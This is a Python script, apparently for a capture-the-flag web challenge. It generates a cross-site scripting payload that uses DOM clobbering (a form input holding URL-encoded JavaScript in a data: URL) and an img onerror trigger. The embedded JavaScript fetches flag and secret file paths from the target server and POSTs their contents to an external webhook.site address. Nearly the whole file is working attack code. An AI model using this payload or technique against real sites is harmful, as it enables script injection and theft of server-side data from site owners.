#!/usr/bin/env python3
"""
Try to read files from the server using relative paths
Since file:// is blocked, we try to fetch from the web server itself
"""

import urllib.parse
WEBHOOK = "https://webhook.site/YOUR-WEBHOOK-ID"  # Replace

code = f"""
(async () => {{
    const files = [
        '/flag.txt',
        '/flag',
        '/app/flag.txt',
        '/app/flag',
        '/../flag.txt',
        '/../flag',
        '/var/www/flag.txt',
        '/var/www/flag',
        '/static/flag.txt',
        '/secret.txt'
    ];
    
    const results = {{}};
    for (const path of files) {{
        try {{
            const resp = await fetch(path);
            results[path] = {{
                status: resp.status,
                text: await resp.text()
            }};
        }} catch(e) {{
            results[path] = {{ error: e.toString() }};
        }}
    }}
    
    await fetch('{WEBHOOK}', {{
        method: 'POST',
        body: JSON.stringify(results, null, 2)
    }});
}})();
""".replace('\n', ' ')

encoded = urllib.parse.quote(code)

payload = f'''<form id="errorReporter"><input name="path" value="data:text/javascript,{encoded}"></form>
<img id="renderConfig" src=x onerror="window.lastRenderError='x';throw new Error()">'''

print(payload)
